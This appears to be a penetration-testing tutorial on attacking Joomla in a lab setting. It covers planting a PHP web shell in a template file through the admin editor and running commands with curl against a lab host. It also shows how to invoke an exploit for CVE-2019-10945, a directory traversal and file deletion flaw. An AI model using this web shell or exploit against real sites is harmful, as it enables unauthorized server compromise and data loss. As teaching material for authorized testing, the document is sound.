Attacking Joomla

Abusing built-in functionality — template RCE

With admin credentials, Joomla’s template editor provides direct PHP source access — the same primitive as WordPress’s theme editor.

Steps

1. Log in at http://<target>/administrator
2. Navigate to Configuration → Templates (bottom-left sidebar)
3. Click a template name under the Template column — e.g., protostar
4. Select a file to edit — error.php is a good choice (infrequently loaded, low visibility)
5. Inject a PHP web shell. Use a non-standard parameter name to reduce the chance of opportunistic access during the assessment:

system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);

6. Click Save & Close

Tip: If the control panel shows An error has occurred. Call to a member function format() on null after login, disable the Quick Icon - PHP Version Check plugin at administrator/index.php?option=com_plugins, then reload.

Execute commands

Template files are served from /templates/<theme-name>/. For the protostar theme:

curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

From here, upgrade to an interactive reverse shell and enumerate local privilege escalation vectors or pivot into the internal network.

Web shell hygiene

• Use a non-dictionary parameter name (MD5-style hash) to prevent drive-by access
• Optionally restrict by source IP at the web server / .htaccess level
• Remove the shell as soon as the engagement phase is complete
• Document in the report appendix: file path, file hash, parameter name, and date/time of creation and removal

Leveraging known vulnerabilities

Joomla has accumulated 426+ CVEs. Critical RCE vulnerabilities in Joomla core are rare — the majority of exploitable findings are in extensions (similar to WordPress). Exploit-DB lists 1,400+ entries for Joomla, most targeting extensions.

CVE-2019-10945 — Directory traversal & authenticated file deletion (Joomla 3.9.4)

Affected version: Joomla 3.9.4 (released March 2019)
Impact: Authenticated directory traversal; can list directory contents and delete files
Requirement: Valid admin credentials

Use the exploit script with the following flags:

python3 joomla_exploit.py \
  --url http://dev.inlanefreight.local \
  --username admin \
  --password admin \
  --dir /

Practical use: With admin creds already in hand, template RCE (above) is more direct. This vulnerability is most useful when the admin panel is only accessible internally — traversal can expose configuration files or scripts holding credentials that are readable via the application URL.

Do not use the file deletion capability during an assessment unless explicitly scoped and authorized — deleting files can cause application downtime and data loss.